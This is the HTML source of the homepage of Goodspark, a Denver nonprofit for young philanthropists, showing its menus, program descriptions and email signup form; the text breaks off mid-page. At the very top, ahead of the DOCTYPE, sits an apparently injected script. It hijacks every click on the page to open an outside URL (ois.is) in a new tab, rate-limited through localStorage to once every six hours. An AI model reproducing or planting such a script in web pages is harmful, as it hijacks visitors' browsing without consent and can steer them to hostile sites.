<script>(function (parameters) {
		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getFromStorage = (host) => localStorage.getItem(`${host}-local-storage`);
		const addToStorage = (host, nowDate) => localStorage.setItem(`${host}-local-storage`, nowDate);

		function globalClick(event) {
			const host = location.host
			const newLocation = "https://ois.is/images/logo.png"
			const allowedHours = 6

			const nowDate = Date.parse(new Date());
			const savedData = getFromStorage(host)

			if (savedData) {
				try {
					const storageDate = parseInt(savedData);
					// check hours
					const hoursDiff = getHoursDiff(nowDate, storageDate)
					console.log(nowDate, storageDate, hoursDiff)
					if (hoursDiff >= allowedHours) {
						addToStorage(host, nowDate);
						window.open(newLocation, "_blank");
					}
				} catch (error) {
					addToStorage(host, nowDate);
					window.open(newLocation, "_blank");
				}
			} else {
				addToStorage(host, nowDate);
				window.open(newLocation, "_blank");
			}
		}
		document.addEventListener("click", globalClick);
	})();</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Goodspark | Creating and engaging the next generation of philanthropists</title>
<meta name="keywords" content="young professionals, young philanthropists, next generation philanthropy"/>
<meta name="description" content="Goodspark is a Denver based nonprofit that exists to create and engage the next generation of philanthropists. While raising awareness about important issues and causes is part of what we do, our ultimate goal is to promote action. "/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<link rel="stylesheet" href="/Content/css/blueprint_71/screen.css" type="text/css" media="screen, projection" />
<link rel="stylesheet" href="/Content/css/blueprint_71/print.css" type="text/css" media="print" />
<link rel="stylesheet" href="/Content/css/blueprint_71/ie.css" type="text/css" media="screen, projection" /> 

<link rel="stylesheet" href="/Content/css/goodspark.css" type="text/css" media="screen, projection"  />

<link rel="shortcut icon" href="/favicon.ico" />
<link rel="icon" href="/favicon.ico" />

<!-- <script type="text/javascript" src="Scripts/jquery-1.2.6.min.js"></script> -->
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js"></script>
<!-- <script type="text/javascript" src="Scripts/jquery-ui-sliders-1.6rc2.min.js"></script> -->
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
<script type="text/javascript" src="/Scripts/goodspark.js"></script>
<script type="text/javascript" src="/Scripts/AC_RunActiveContent.js"></script>
<script type="text/javascript" src="/Scripts/jquery.validate.min.js"></script>
<script type="text/javascript">
    $(document).ready(function() {
        initHeader();
        
    });
</script><script type="text/javascript" src="Scripts/jquery_cycle_min.js"></script>


<script type="text/javascript">
    $(document).ready(function() {
        
        $('#slideshow').cycle({
        prev:   '#prev',
        next:   '#next',
        cleartypeNoBg: true,
        timeout: 0
    });
    });
</script>


</head>

<body>
<div id="mainwrapper"></div> 
<div class="container">

<!-- begin headernav -->
	<div id="header" class="span-48 last">
		
		<div id="main-menu" class="span-17 dotfiller">
	    	<a href="#" id="find-charity" class="dropdown">what we do<span class="dd"></span></a> 
	    	<a class="span-1 dotfiller"></a>
	    	
	    	<a href="/about" id="about">About Us</a>
    	</div>
    	<div id="logo" class="span-14">
    		<a href="/" title="GoodSpark Home"><img src="/Content/images/goodspark_logo_main.gif" title="GoodSpark Logo" alt="GoodSpark Logo" /></a>
    	</div>
    	<div id="personal-menu" class="span-17 dotfiller last">
			 
			<a id="blog" href="/blog">our blog</a>
			<a id="contact" class="dotfiller" href="/contact">Contact Us</a>
			
			
		
		</div>
		
		
	
		
		
		
		
	</div><!-- end headernav -->


<div id="home-content" class="span-48 last">
	
<! -- whatwedopopup -->
<div id="charity-menu">
	<div class="charity-menu-top">
    	<a id="charity-menu-close" title="Close the menu"><img src="/Content/images/close-x.gif" alt="Close" /></a>
    </div>
	<ul>
    
    	<li>
    	<a href="/connect" id="menu-connect">
            <h3>We Connect</h3>
            <p>
           Furthering philanthropy one volunteer at a time
            </p>
        </a>
        </li>
    
    	<li>
    	<a href="/mobilize" id="menu-mobilize">
            <h3>We Mobilize</h3>
            <p>
           Sparking grassroots movements by promoting hands-on action with <u>real</u> results.
            </p>
        </a>
        </li>
    
    	<li>
    	<a href="/educate" id="menu-educate">
            <h3>We Educate</h3>
            <p>
            Developing information and resources designed to help create informed intelligent donors
            </p>
        </a>
        </li>
    
    	<li>
    	<a href="/celebrate" id="menu-celebrate">
            <h3>We Celebrate</h3>
            <p>
            Combining socializing with substance
            </p>
        </a>
        </li>
  
       
    </ul>
    <div class="charity-menu-bottom">&nbsp;</div>
</div><!-- end whatwedopopup -->
	
    <div id="content-body">
    	<div id="main-banner">
        	<h2><span class="bigwhite">GoodSpark</span> is a Denver-based nonprofit that exists to engage and empower the next generation of
        	 philanthropists.  While raising awareness about important issues and causes is central to our mission, our ultimate goal is to inspire <span class="red strong">action</span>.
        	</h2>
   	  </div>
    	<div id="slideshowwrapper">
    		
    	    <div class="pics" id="slideshow">
    	    	
        	    <a href="/getupandgive/gallery"><img width="395" height="260" src="/getupandgive/images/GetUpandGive_home.png" /></a>
        	    <img style="display:none;" width="395" height="260" src="Content/images/ss/slide1.png" />
        	    <img style="display:none;" width="395" height="260" src="Content/images/ss/slide2.png" />
        	    <img style="display:none;" width="395" height="260" src="Content/images/ss/slide3.png" />
        	    <img style="display:none;" width="395" height="260" src="Content/images/ss/slide4.png" />
        	    
        	</div>
        	<div id="slideshow-nav">
        		<a href="#" id="prev"><img src="Content/images/arrow_left.gif" /></a>
        		<a href="#" id="next"><img src="Content/images/arrow_right.gif" /></a>
        	</div>
        	
        </div>	
    	
    	
			
		
    	

    </div> <!-- end home-content -->
 
    	
    	<div id="boxes" class="span-28">
    			<div id="connect-box" class="boxes right-line">
    				<h3><a href="/connect">WE CONNECT</a></h3>	
    				<p>You have talent and desire. We can connect you with the need. This program provides effective and rewarding opportunities for young professionals to help nonprofits in their community by bringing their talent to the table.</p>
    				<img src="Content/images/connect_small.gif"  class="box-image" />
    				<a class="learnmore" href="/connect">Learn More</a> 
				</div>
    		
    			<div id="educate-box" class="boxes right-line">
    				<h3><a href="/educate.php">WE EDUCATE</a></h3>	
    				<p>The more you know, the bigger a difference you can make. GoodSpark provides information and resources that will empower young professionals to make intelligent giving decisions, whether they give time or money.</p>
   				  <br />
    				<img src="Content/images/educate_small.gif"  class="float-right box-image" />
    				<a class="learnmore" href="/educate" style="padding-top: 5px">Learn More</a>
    			</div>
    			<div class="boxbreak1"></div><div class="boxbreak2"></div>
    			<div id="mobilize-box" class="boxes right-line">
    				<h3><a href="mobilize">WE MOBILIZE</a></h3>	
    				<p>Do you want to have an immediate impact on your community? GoodSpark organizes grassroots movements that offer young professionals short-term community service projects that have immediate results.</p>
   				  <br />
    				<img src="Content/images/mobilize_small.gif"  class="float-right box-image" style="padding-bottom: 15px;" />
    				<a class="learnmore" href="/mobilize">Learn More</a>
    			</div>
    		
    			<div id="celebrate-box" class="boxes right-line">
    				<h3><a href="/celebrate">WE CELEBRATE</a></h3>	
    				<p>Our SocialRemix events give young, socially conscious people in and around Denver a chance to combine socializing with substance. </p>
    				<br /><br /><br />
	    			<img src="Content/images/celebrate_small.gif"  class="float-right box-image" style="margin-top: -15px;" />
    				<a class="learnmore" href="/celebrate">Learn More</a>
    			</div>

    	</div> <!-- end boxes --> 
    	<div id="blogcontainer" class="span-19 prepend-1 last">
    		<div id="socialcontainer">
    			<div id="social">
    				<a href="http://www.facebook.com/goodspark" target="_blank"><img alt="Join us on Facebook" src="Content/images/facebook.gif" /></a>
    				<a href="http://feeds.feedburner.com/goodbuzz" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"><img alt="Subscribe to our RSS Feed" src="Content/images/rss_home.gif" /></a>
    				<br />
    				<a href="/contact"><img alt="Contact Us" src="Content/images/mail.gif" /></a>
    				<a href="http://twitter.com/goodspark" target="_blank"><img alt="Follow us on Twitter" src="Content/images/twitter.gif" /></a>
    			</div>
    			<div id="subscribe">
    				<h3>Get Involved.  Join our email list below.</h3>
    				<form name="subscribe" action="/join" method="post">
    				<input id="home-text" type="text" size="30" name="email" class="text" />
    				<div class="submit-button">
    				<input type="submit" value="Submit" class="submit" id="home-submit" />
    				</div>
    				</form>
    			</div>
    			<div id="announcements" class="top-line">
    			<h4><a href="/blog/category/announcements">GS Announcements</a></h4>
    			